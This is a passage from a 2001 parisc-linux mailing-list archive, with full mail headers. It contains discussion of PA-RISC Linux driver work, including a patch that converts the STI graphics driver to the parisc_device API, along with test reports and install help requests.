> > > a special hvers PDC call. Need to look at the HPUX code or Raven PDC ERS.
> > 
> > If you could dig those out for me, that'd be great.  I'm not familiar with
> > the layout of the HPUX source tree yet.
> 
> That sounds too much like work. ;^)
> Raven PDC ERS is available from HP's firmware team website. (internal only).

I looked through the Raven ERS, it wasn't too helpful.  I managed to find
the Dino driver in the HPUX source tree.... it doesn't seem to make the
call itself, but instead:

    /*
     * Loop thru the fixed_mod_table looking for a fixed module
     * that is a child of Dino.  Start at whatever index we just
     * figured out from the hardware path of the last module found.
     */
    for(; idx < nfixed_modules; idx++) {
        entry = &fixed_mod_table[idx];
        
        if (is_child_of(entry, parent_path))
        {
#ifdef RDB
            /*
             * Ignore the serial port if RDB is using it.
             */
            if ((entry != NULL) && (!(IS_RDB_DEVICE(entry->reg_set))))
#endif
                    return entry;
        }
        /* else not a child of dino - loop again */
    }

    /*
     * If we exit the loop without returning anything, we must not
     * have found the rs232 entry in the FMT.  The rs232 is not to
     * be used in this system, so return NULL
     */
    return NULL;

So it seems to me that we shouldn't do bus-walks underneath Dino, but
rely on PDC telling us about the device if it's attached.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI initialisation cleanup
Date: Wed, 22 Aug 2001 08:39:00 +0100
Lines: 213
Approved: news@gmane.org
Message-ID: <20010822083900.A3558@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620403 24024 80.91.229.3 (22 Nov 2014 01:40:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 22 01:39:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70ABA482A
	for <parisc-linux@parisc-linux.org>; Wed, 22 Aug 2001 01:39:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ZSbM-0002pt-00
	for parisc-linux@parisc-linux.org; Wed, 22 Aug 2001 08:39:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11941

get_pa_dev is going away as part of the iotree rewrite, and since STI is
the only part of the kernel still using it, here's a patch to eliminate
it.  This converts sticore to use the normal parisc_device API rather
than attempting to find devices by itself (moral: leave matchmaking to
the experts).  I did some minor cleanups, renaming & so on.

Comments welcome, testers more welcome :-)  As usual, it compiles, but
no warranty beyond that.  Ryan tried an earlier version of this patch in
his iotree-hacked kernel, and it seemed to work OK.  I can see a fair
few more things which need to get simplified & fixed in this driver,
but let's save that for the next round of patches.

Index: drivers/video/sti/sticore.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/video/sti/sticore.c,v
retrieving revision 1.21
diff -u -p -r1.21 sticore.c
--- sticore.c	2001/08/14 16:54:59	1.21
+++ sticore.c	2001/08/22 07:28:38
@@ -826,51 +826,29 @@ out_err:
 }
 
 
-static struct sti_struct * __init
-search_sti(unsigned long flash_sti_rom, unsigned long hpa)
-{
-    int index;
-    unsigned long rom;
-    struct sti_struct *sti; 
-    struct parisc_device *pa_dev;
-    
-    index = 0;
-    while ((pa_dev = get_pa_dev(index)) != NULL) {
-
-	if ((pa_dev->hpa == hpa) &&
-	    ((pa_dev->id.sversion == 0x85) || /* Gecko graphics (WORD MODE) */
-	     (pa_dev->id.sversion == 0x77)) ) /* Coral graphics (BYTE MODE) */
-	{
-	    /* 
-		on newer systems PDC gives the address of the ROM 
-		in the additional address field addr[1] while on
-		older Systems the PDC stores it in page0->proc_sti 
-	    */
-	    rom = pa_dev->addr[1];
-	    if (!rom)
-	    	rom = flash_sti_rom;
-	    if (!rom)
-		rom = hpa;
-	    if (rom) {
-		DPRINTK((KERN_DEBUG "Trying STI ROM at %08lx, hpa at %08lx\n",
-		    rom, hpa));
-		sti = sti_try_rom_generic(rom, hpa, NULL);
-		if (sti)
-		    return sti;
-	    } else {
-		printk(KERN_WARNING 
-		"Unable to find ROM address of graphics device at hpa %08lx\n",
-		    hpa);
-	    }
+/*
+ * on newer systems PDC gives the address of the ROM 
+ * in the additional address field addr[1] while on
+ * older Systems the PDC stores it in page0->proc_sti 
+ */
+static int __init sticore_pa_init(struct parisc_device *dev)
+{
+	unsigned long rom = dev->addr[1];
+	if (!rom) {
+		rom = PAGE0->proc_sti;
+	}
+	if (!rom) {
+		rom = dev->hpa;
 	}
-	index++;
-    }
-    return NULL;
+	DPRINTK((KERN_DEBUG "Trying STI ROM at %08lx, hpa at %08lx\n", rom, dev->hpa));
+	if (sti_try_rom_generic(rom, dev->hpa, NULL))
+		return 0;
+	return 1;
 }
 
 
-static int __devinit sticon_init_one (struct pci_dev *pd,
-				      const struct pci_device_id *ent)
+static int __devinit sticore_pci_init(struct pci_dev *pd,
+		const struct pci_device_id *ent)
 {
 	unsigned long fb_base, rom_base;
 	unsigned int fb_len, rom_len;
@@ -907,8 +885,7 @@ static int __devinit sticon_init_one (st
 	sti = sti_try_rom_generic(rom_base, fb_base, pd);
 #endif
 	if (!sti) {
-		printk(KERN_WARNING 
-			"Unable to handle STI device '%s'\n",
+		printk(KERN_WARNING "Unable to handle STI device '%s'\n",
 			pd->name);
 		return -ENODEV;
 	}
@@ -916,7 +893,7 @@ static int __devinit sticon_init_one (st
 }
 
 
-static void __devexit sticon_remove_one (struct pci_dev *pd)
+static void __devexit sticore_pci_remove(struct pci_dev *pd)
 {
 	BUG();
 }
@@ -924,69 +901,53 @@ static void __devexit sticon_remove_one 
 
 #define PCI_DEVICE_ID_VISUALIZE_EG	0x1005
 
-static struct pci_device_id sticon_pci_tbl[] __devinitdata = {
+static struct pci_device_id sti_pci_tbl[] __devinitdata = {
 	{ PCI_VENDOR_ID_HP, PCI_DEVICE_ID_VISUALIZE_EG, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 },
 	{ 0, } /* terminate list */
 };
-MODULE_DEVICE_TABLE(pci, sticon_pci_tbl);
+MODULE_DEVICE_TABLE(pci, sti_pci_tbl);
 
-static struct pci_driver sticon_driver = {
-	name:		"sticon",
-	id_table:	sticon_pci_tbl,
-	probe:		sticon_init_one,
-	remove:		sticon_remove_one,
+static struct pci_driver pci_sti_driver = {
+	name:		"sti (pci)",
+	id_table:	sti_pci_tbl,
+	probe:		sticore_pci_init,
+	remove:		sticore_pci_remove,
 };
-
-
-int __init sticon_pci_init(void)
-{
-	return pci_module_init (&sticon_driver);
-}
 
-
-static void __exit sticon_pci_exit(void)
-{
-	pci_unregister_driver (&sticon_driver);
-}
-
+static struct parisc_device_id sti_pa_tbl[] = {
+	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00077 },
+	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00085 },
+	{ 0, }
+};
 
+struct parisc_driver pa_sti_driver = {
+	name:		"sti (native)",
+	id_table:	sti_pa_tbl,
+	probe:		sticore_pa_init,
+};
 
-struct sti_struct * __init
-sti_init_roms(void)
+struct sti_struct * __init sti_init_roms(void)
 {
 	static int initialized;
-	unsigned long flash_rom;
 
 	if (initialized)
-	    goto out;
+		goto out;
 
-	/* 712 and on the later generation 715 and 725 products
-	 * the STI ROM is part of the regular flash and the PDC
-	 * stored a pointer to the ROM for us at PAGE0->proc_sti.
-	 * On other systems this value will be NULL */
-	flash_rom = PAGE0->proc_sti;
-
-	/* search the possible hpa locations (64bit ready)
-	   in the default order */
-	search_sti(flash_rom, (unsigned long) 0xfffffffff8000000);
-	search_sti(flash_rom, (unsigned long) 0xfffffffff4000000);
-	search_sti(flash_rom, (unsigned long) 0xfffffffff6000000);
-	search_sti(flash_rom, (unsigned long) 0xfffffffffa000000);
+	/* Register drivers for native & PCI cards */
+	register_parisc_driver(&pa_sti_driver);
+	pci_module_init (&pci_sti_driver);
 
-	/* now search for PCI graphic cards */
-	sticon_pci_init();
-	
 	/* check boot-value from "sti=<index>" */
 	if (sti_initial_index >= num_sti_roms)
-	    sti_initial_index = 0;
-	    
+		sti_initial_index = 0;
+
 	default_sti = sti_roms[sti_initial_index];
 
 out:
 	/* return default STI if available */
 	if (num_sti_roms && default_sti && default_sti->init_graph) {
-	    initialized++;
-	    return default_sti;
-	} else
-	    return NULL;
+		initialized = 1;
+		return default_sti;
+	}
+	return NULL;
 }

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: STI initialisation cleanup
Date: Wed, 22 Aug 2001 14:39:38 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <OFA913A64D.740661FC-ONC1256AB0.0044B7F5@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620404 24028 80.91.229.3 (22 Nov 2014 01:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 22 06:36:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87920482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Aug 2001 06:36:45 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d55871c1eb3@epirel991.europay.com>;
 Wed, 22 Aug 2001 14:36:27 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/22/2001 02:39:40 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11942

Hi Matthew,

I just recompile cvs dated 20010821 after appliying your patch and seems to
work on my 712 box.

at least Xfree always start (I could not go further because hp_psaux does
not yet work back and patch of Thomas
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-August/013315.html

is not any more applicable)

In the hoppe to be helpfull,
     Joel



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: STI initialisation cleanup
Date: Wed, 22 Aug 2001 14:12:52 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010822141252.A5053@parcelfarce.linux.theplanet.co.uk>
References: <OFA913A64D.740661FC-ONC1256AB0.0044B7F5@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620404 24032 80.91.229.3 (22 Nov 2014 01:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:04 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 22 07:12:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CF8B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Aug 2001 07:12:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ZXoS-0001Nc-00; Wed, 22 Aug 2001 14:12:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OFA913A64D.740661FC-ONC1256AB0.0044B7F5@LocalDomain>; from jso@europay.com on Wed, Aug 22, 2001 at 02:39:38PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11943

On Wed, Aug 22, 2001 at 02:39:38PM +0200, Jol Soete wrote:
> Hi Matthew,
> 
> I just recompile cvs dated 20010821 after appliying your patch and seems to
> work on my 712 box.

Thanks, joel!

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa2?
Date: Wed, 22 Aug 2001 16:27:24 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <OF30E9B335.EAAF4124-ONC1256AB0.004DDCBB@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620404 24033 80.91.229.3 (22 Nov 2014 01:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox <willy" <willy%debian.org%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 22 08:24:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7A88482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Aug 2001 08:24:32 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d55877ecb42@epirel991.europay.com>;
 Wed, 22 Aug 2001 16:24:13 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/22/2001 04:27:27 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11944

Hi Matthew,

I just try to investigate a little bit:
a) I do not encountered the problem with an IA32 (not exactly the same
config file but I thing it should be independent)
b) the problem was not present on kernel-2,4,6-pa22 but appears in fact
with kernel-2.4.7-pa1 (sorry to not have reported at this time)

The problem seems to dependent of pa-risc (and only some one as the 715
model do not seems to affected)

Kind regards,
     Joel

PS: If it could help you, I can also test on a sparc20 to be sure.



                                                                           =
                                       =20
                    Matthew                                                =
                                       =20
                    Wilcox               To:     Helge Deller <deller@gmx.d=
e>@SMTP@EUROPAY                        =20
                    <willy@debian        cc:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD,                            =20
                    .org>                parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY                         =20
                                         Subject:     Re: [parisc-linux] Ke=
rnel 2.4.9-pa2?                        =20
                    21-08-01                                               =
                                       =20
                    08:46 AM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20



On Tue, Aug 21, 2001 at 08:36:56AM +0200, Helge Deller wrote:
> Oops, I think you found a bug in the kernel. Don't know yet if it's
> only pa-risc specific or a general linux-kernel issue.

I think you're right.  Richard saw it on an A500 with 2.4.8 too.
I've seen a few scattered reports from people on other architectures
that they're seeing the same thing.

I went over the softirqd code this morning, and nothing jumped out at
me and said `this is something parisc is doing wrong'.  Maybe more eyes..

--
Revolutions do not require corporate support.





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa2?
Date: Wed, 22 Aug 2001 15:34:51 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010822153451.C5053@parcelfarce.linux.theplanet.co.uk>
References: <OF30E9B335.EAAF4124-ONC1256AB0.004DDCBB@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620404 24036 80.91.229.3 (22 Nov 2014 01:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:04 +0000 (UTC)
Cc: "Matthew Wilcox <willy" <willy%debian.org%SMTP%EUROPAY@mastercard.com>,
	Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 22 08:34:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 806F7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Aug 2001 08:34:53 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ZZ5n-0002wb-00; Wed, 22 Aug 2001 15:34:51 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF30E9B335.EAAF4124-ONC1256AB0.004DDCBB@LocalDomain>; from jso@europay.com on Wed, Aug 22, 2001 at 04:27:24PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11945

On Wed, Aug 22, 2001 at 04:27:24PM +0200, Jol Soete wrote:
> The problem seems to dependent of pa-risc (and only some one as the 715
> model do not seems to affected)

Does it happen for you every time?  I've seen it occasionally on other
machines, but never regularly.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pakalee <pakalee@LanMinds.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX install disks
Date: Wed, 22 Aug 2001 11:57:44 -0600 (MDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10108221148390.90201-100000@bellpepper.lanminds.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620405 24039 80.91.229.3 (22 Nov 2014 01:40:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 22 11:49:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bellpepper.lanminds.net (bellpepper.lanminds.net [166.93.207.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 389CF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Aug 2001 11:49:09 -0600 (MDT)
Original-Received: from localhost (pakalee@localhost)
	by bellpepper.lanminds.net (8.10.1/8.10.1) with ESMTP id f7MHviX90544
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Aug 2001 11:57:44 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11946

This is prob. shady at best:

I love and support linux (run it on PA-RISC,UltraSparc, even 8086!)  - but
sure would like to see how HP-UX works too.

Anybody have HP-UX install disks for a 700 series box (712/60)?
Any version will do.

Feel free to contact me directly.

-R





From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christian Knoch" <ChristianK@datco.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HELP ME PLEASE - d220 Install problem
Date: Wed, 22 Aug 2001 20:04:27 -0300
Lines: 12
Approved: news@gmane.org
Message-ID: <92AD79D83589314D821A57429B49E54A479CE5@w2kexchange>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620405 24043 80.91.229.3 (22 Nov 2014 01:40:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:05 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 22 17:03:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from msdatco1.DATCO.NET (proxy.winstar.net.ar [200.61.0.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id A56EA482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Aug 2001 17:03:22 -0600 (MDT)
content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: HELP ME PLEASE - d220 Install problem
Thread-Index: AcEwFRCWo+reSupYT3WhTUgNo6gE4g==
Xref: news.gmane.org gmane.linux.ports.parisc:11947

HELP ME!!!
i have a d220
I download a iso image and write a cd, but cannot boot this cd
how to install debian in D220 step by step please



Thanks
Christian Knoch




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HELP ME PLEASE - d220 Install problem
Date: Thu, 23 Aug 2001 00:39:16 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010823003916.C16374@parcelfarce.linux.theplanet.co.uk>
References: <92AD79D83589314D821A57429B49E54A479CE5@w2kexchange>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620405 24049 80.91.229.3 (22 Nov 2014 01:40:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Knoch <ChristianK@datco.com.ar>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 22 17:39:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D6A1482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 22 Aug 2001 17:39:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Zhae-0008Sh-00; Thu, 23 Aug 2001 00:39:16 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <92AD79D83589314D821A57429B49E54A479CE5@w2kexchange>; from ChristianK@datco.com.ar on Wed, Aug 22, 2001 at 08:04:27PM -0300
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11948

On Wed, Aug 22, 2001 at 08:04:27PM -0300, Christian Knoch wrote:
> HELP ME!!!
> i have a d220
> I download a iso image and write a cd, but cannot boot this cd
> how to install debian in D220 step by step please

You're going to have to be a little more specific than that.  Most
problems that get reported as `cannot boot this cd' are caused by using
the incorrect options when burning the CD.  Here's one example:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-May/012642.html

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Thu, 23 Aug 2001 00:18:22 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200108230618.AAA06470@puffin.external.hp.com>
References: <deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620406 24058 80.91.229.3 (22 Nov 2014 01:40:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:06 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 00:21:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 443D6482A
	for <parisc-linux@parisc-linux.org>; Thu, 23 Aug 2001 00:21:39 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA06470;
	Thu, 23 Aug 2001 00:18:22 -0600
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Tue, 21 Aug 2001 23:12:09 +0200." <200108212111.PAA28876@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11949

Helge Deller wrote:
> Why should the user be
> bothered to compile in that PCI stuff if he won't need it at all ?

That isn't an issue - we all agree CONFIG_PCI isn't needed on older machines.

> Those are well-defined drivers which we
> know that they work without PCI and which other drivers should we need ? 

This is a good point. I'll shup up. :^)

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "jacobsbd" <jacobsbd@jacobs.coxatwork.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC linux newby needs help doing an install
Date: Thu, 23 Aug 2001 05:15:34 -0700
Lines: 216
Approved: news@gmane.org
Message-ID: <000001c12bda$3a018e90$701e10ac@winxp>
Reply-To: "jacobsbd" <jacobsbd@jacobs.coxatwork.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C12B92.A33F9FC0"
X-Trace: ger.gmane.org 1416620406 24068 80.91.229.3 (22 Nov 2014 01:40:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:06 +0000 (UTC)
Cc: <jacobsbd@aol.com>
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 07:45:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c014.sfo.cp.net (c014-h001.c014.sfo.cp.net [209.228.12.65])
	by dsl2.external.hp.com (Postfix) with SMTP id 68D53482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 07:45:09 -0600 (MDT)
Original-Received: (cpmta 20714 invoked from network); 23 Aug 2001 06:45:06 -0700
Original-Received: from unknown (HELO winxp) (209.218.15.13)
  by smtp.jacobs.coxatwork.com (209.228.12.65) with SMTP; 23 Aug 2001 06:45:06 -0700
X-Sent: 23 Aug 2001 13:45:06 GMT
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2505.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2505.0000
Xref: news.gmane.org gmane.linux.ports.parisc:11950

This is a multi-part message in MIME format.

